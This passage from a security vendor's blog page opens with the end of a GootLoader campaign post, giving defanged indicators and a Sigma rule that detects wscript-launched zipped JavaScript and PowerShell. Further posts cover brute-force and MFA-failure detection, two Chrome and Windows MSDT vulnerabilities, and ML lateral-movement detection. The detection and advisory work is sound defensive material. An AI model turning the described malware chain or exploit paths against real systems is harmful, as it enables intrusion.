Once Adlumin’s Threat Visibility Team had the initial payload, follow-on implant stages, and leads on command-and-control infrastructure, we quickly created detections for our MDR platform, which merges data from multiple security relevant data sources including the endpoint and installed security software. These detections caught subsequent attacks from the same campaign and identified some historical retroactive activity. Some key defenses and mitigations for the campaign include:

Adequate phishing mitigation and attachment scanning solutions
Monitoring of wscript.exe executions of JavaScript files from compressed archives
Monitoring of PowerShell executions, especially of encoded commands, which have a parent process of wscript.exe
Implementing a Proactive Defense program that is equipped with fully managed security awareness testing and training, designed to empower employees to recognize and reduce the risk posed by cybercriminals.

Additionally, Adlumin is sharing the following indicators used in this campaign with the community:

93[.]115[.]29[.]50
hxxps://streamlock[.]net

We’d also like to share the below Sigma rule to help identify possible exploitation activity:

title: GootLoader Zipped JS WScript
id: 37d82863-216a-41a3-a4de-b09cea08eb92
action: global
status: experimental
references:
– https://adlumin.com
date: 2022/09/26
tags:
– attack.execution
– attack.t1059
author: Adlumin, Kyle Auer, Kevin O’Connor
detection:
condition: selection
level: medium
logsource:
category: process_execution
product: windows
detection:
selection_1:
Image|endswith:
– ‘\powershell.exe’
ParentImage|endswith
– ‘\wscript.exe’
selection_2:
Image|endswith:
– ‘\wscript.exe’
selection_3:
CommandLine|all:
– ‘*AppData*’
– ‘*zip*’
– ‘*.js*’
condition: (selection_1 or selection_2) and selection_3

Make sure to follow Adlumin for follow-up posts where we’ll dive deeper into the actor’s infrastructure and operations!

Resources:

Your Guide to Detecting Access Failure Incidents

September 29, 2022/in Blog Post/by Adlumin Staff

By: Data Scientists Bronwen Cohn-Cort and Shaul Saitowitz

Usernames and passwords are keys to computer systems and networks, but they are often inadequate for keeping intruders out. Even additional layers of authentication can be compromised. Adlumin keeps its customers safe by monitoring networks for suspicious break-in attempts and authentication malfunctions.

Brute Force, but Not with a Crowbar

Hackers use scripts or applications such as THC Hydra to submit many guesses for user credentials – a brute force attack. Guessing tactics range from a simple systematic approach to using external logic to prioritize the most likely combinations.

Any asset that uses credentials is vulnerable to brute force attacks, from user accounts to VPNs or network switches. Each of these represents different risks. Cracking a network switch could allow the attacker to access any traffic flowing through that switch and even make changes to the switch itself. Breaking into a VPN would give access to the network and anything else authorized for the connection.

Access Failure Chart Adlumin

Figure 1: Counts of Failed Office365 Logins

Adlumin monitors all incoming logs for our tenants, looking for evidence of brute force attacks at all possible entry points. Suspicious numbers of failed logins over a short interval indicate that an attacker attempts to break in by trying many password permutations. This triggers an alert, notifying the customer of the break-in attempt so that protective action can be taken.

The Deadbolt

Often used in conjunction with password logins, Multi-factor Authentication (MFA) service providers allow users of a subscribing client to authenticate via other methods, thereby adding another layer of security. One standard additional layer is a Possession Factor, where a user enters a 6-digit code sent as a text message, email, or given by an authenticator app to an account or device to which only the user has access. In the MFA context, a password can be classified as a Knowledge Factor; thus, these two factors (Knowledge and Possession) authenticate the user. This is also called 2-Factor Authentication (2FA). Enabling MFA or 2FA across all users is a simple step to improving security and delaying attackers or keeping them out of a system.

Adlumin authentication Diagram

Figure 2: Disruptive situations around MFA credentials

Adlumin Data Science is developing a detection for disruptions in a client’s MFA service – incidents that can challenge business continuity or represent even more insidious threats. The approach involves reviewing the number of users unable to access their account via MFA within a specific period. As described earlier in this article, this activity could be an attacker attempting brute force methods to access the system by logging in to multiple user accounts and looking to gain access via a user that hasn’t enabled MFA. This activity could also be that the MFA service provider is compromised or has otherwise experienced an incident that impacts credential authentication, leading to many users being locked out of their accounts. In both instances of MFA credentials being denied or resulting in the locking-out of users, the client’s business is disrupted.

Adlumin Data Science’s development of detection based on identifying an unusual number of users experiencing lockouts or having credentials denied over a specific period would warn clients that use MFA service providers of a possible impending disruption or attack.

Warning of Possible Disruptions

Whether caused by a brute force attack or a compromised MFA service provider, Adlumin Data Science monitors for a suspicious or unusual amount of credential activity for network switches, user accounts, or other credentialed locations. Adlumin’s identification of such a disruption or break-in attempt warns customers to take protective action.

Zero-Day Vulnerability Discovered: Google Chrome’s Fifth Zero-Day Exploit This Year

August 19, 2022/in Blog Post Richard Hamrick/by Adlumin Staff

Update Chrome now to patch actively exploited zero-day

Google announced an update on Wednesday to the Stable channel of its Chrome browser that includes a fix for an exploit that exists in the wild. It’s the fifth Chrome zero-day patched by Google this year.

What You Need to Know

CVE-2022-2856 is a fix for “insufficient validation of untrusted input in Intents,” according to Google’s advisory. Intents are typically a way to pass data from inside Chrome to another application, such as the share button on Chrome’s address bar. Google says the update—104.0.5112.101 for Mac and Linux and 104.0.5112.102/101 for Windows—will “roll out over the coming days/weeks.” There are 10 other security fixes included in the update, and Dark Reading notes that this is Chrome’s fifth zero-day vulnerability disclosed in 2022.

With an un-patched version of Google Chrome, the CVE-2022-2856 exploit can ultimately lead to arbitrary code executions from malicious websites. As noted by the MITRE Corporation, “When software does not validate input properly, an attacker can craft the input in a form that is not expected by the rest of the application.” The practicality of this leads to altered control flow. The malicious site could then retrieve sensitive data/files from the user’s system or even tamper with application components to contaminate arguments. For example, an un-patched browser can be tricked into displaying fake or corrupted files to the end-user, who believes it is their own legitimate file URI and opens/uploads data which is then sent to the attacker.

A similar exploit, designated as CVE-2019-13707, was first published on 11/25/2019 and was yet another Google Chrome vulnerability, affecting Android devices prior to 78.0.3904.70. Carrying the “Insufficient validation of untrusted input in intents” description, this exploit acted in the same manner as CVE-2022-2856. Google’s solution to this included a simple update of the Chrome browser.

Continuous Monitoring is Critical

Zero-Day Vulnerability Discovered: Microsoft August Patch Tuesday

August 11, 2022/in Blog Post Martin Castner/by Adlumin Staff

This month’s Patch Tuesday from Microsoft had a surprise patch for a vulnerability in the Microsoft Windows Support Diagnostic Tool (MSDT); you may remember this exploit from the recent Follina exploit (CVE-2022-30190). This vulnerability, however, takes a different exploit path than Follina.

What You Need to Know

CVE-2022-34713, nicknamed “DogWalk,” is an arbitrary file write vulnerability in MSDT, exploited via .diagcab files, which can lead to code execution. The vulnerability allows an attacker to send a file to a victim that, if double-clicked and opened, could drop an exploit in the user’s Startup folder (or any file anywhere else on the system that the user has permissions to write to). The exploit could be compounded by the fact that most web browsers and email clients do not warn the user of the risk of running a .diagcab file. The .diagcab is not identified with the web zone identifier property, which would otherwise help prevent accidental execution by a user.

The original Dogwalk vulnerability was found and reported to Microsoft by security researcher Imre Rad in December 2019. According to Rad, Microsoft initially decided Dogwalk was not a vulnerability and, at that point, allowed him to publish a blog post on the subject. Due to increased scrutiny of MSDT, Microsoft re-assessed the case this year and has now classified Dogwalk as a vulnerability.

Microsoft began blocking .diagcab file downloads in Microsoft Edge in July of this year. Google is also doing the same. It is now worthwhile to stop .diagcab files received via email altogether.

The Importance of Continuous Vulnerability Monitoring

Microsoft’s August Patch Tuesday includes a patch for the now publicly disclosed, two-year-old Dogwalk vulnerability (CVE-2022-34713). Adlumin’s Continuous Vulnerability Management (CVM) team took the proactive critical steps to examine this patch for now identified zero-day security threat and to alert customers of their potential vulnerability risk. Adlumin determined potential threats to Microsoft Office users, so they deployed the fix.

Adlumin’s CVM team created jobs to test customers’ Microsoft August Patch Tuesday patch and remediation (registry modification). Once Adlumin completed the test, the CVM team continued the deployment to the production environment. Once all was complete and remedied, Adlumin sent a report to the customer to notify them they were now clean of the vulnerability for their records. Adlumin recommends using its Continuous Vulnerability Management service to collect the needed data from endpoints to determine if they are running vulnerable .diagcab files in their versions of Microsoft Windows and Office. Adlumin’s managed detection and response security and services platform will proactively search for suspicious activity and possible vulnerability exploitation 24x7x365 days of the year.

Detecting Suspicious Network Access With Machine Learning

July 29, 2022/in Blog Post Zach Swartz/by Adlumin Staff

Adlumin Data Science offers two main categories of anomaly detection – single-event, based on information collected from a single security log, and multi-event, which uses information extracted from an aggregation of individual logs. Since anomaly detection tends to have a higher false-positive-rate (FPR) than signature-based methods, it is often helpful to intersect detections from both approaches, which can reduce the total FPR while maintaining an acceptable true positive rate (TPR). The logic is that truly anomalous behavior is likely to appear anomalous from multiple independent perspectives.

An excellent example of this is the intersection between Lateral Movement (LM) and the Access-Events (AE), which are multi-event and single-event ML models, respectively, on the Adlumin security platform. Both models look at Windows “successful logon” events (event ID 4624). Still, LM looks at directed graphs based on an entire day’s worth of activity and draws attention to individual machines. In contrast, AE simply draws attention to individual access events between machines. Another important distinction is that LM individually models privileged users with enough historical data, whereas AE models all windows access events together, regardless of the user involved.

The LM detection shown below features a directed graph flagged by LM and the individual access events that make up the graph, some of which were also flagged by AE, indicated by the ‘Anomaly Score’ column.

This LM detection would not have occurred if none of the comprised events were flagged by AE, which highlights the mechanism for reducing false positives in these detections. If a user’s behavior is determined to be anomalous by LM, but none of the individual access events are considered anomalous, this is likely grounds to throttle the detection.

Aggregating Single-Event Detections

One of the pitfalls of LM is that it only models privileged users with sufficient access history. A recent penetration test performed on a customer by the Adlumin SOC team has highlighted the potential utility in aggregating AE detections to look for a specific behavior that is invisible to LM. During this penetration test, the actor gained access to a machine that allowed them to enumerate the domain and access many other machines. Below are all the customer’s AE detections on the day of the penetration test.

The “NODEZERO” machine used in the Adlumin SOC penetration test involves many anomalous logons to other machines. LM is blind to this behavior because it’s associated with the “anonymous logon” user, so we must rely on AE to create an alert in this case. Sending a separate alert for each detection would be problematic from a user-experience standpoint. However, calling for an aggregation strategy to be used here. One idea is to count the number of unique logons associated with each “remote_workstation_name.” An alert is sent to the customer if that number exceeds a predetermined threshold. In this case, “NODEZERO” is associated with seven unique anomalous logons to other machines, so setting the threshold to 6 would be sufficient for an alert.

While this example shows a blind spot for LM, aggregating AE detections is nonetheless not a sufficient replacement for LM detections. LM can detect much more subtle and complicated behavior associated with moving through a network, so AE aggregate detections should be related to their alert, possibly for targeting domain enumeration attacks. Sometimes these two alerts will describe the same behavior, validating the need for further investigation. As the Adlumin ML model suite grows, these alert intersections will become more sophisticated and widely deployed.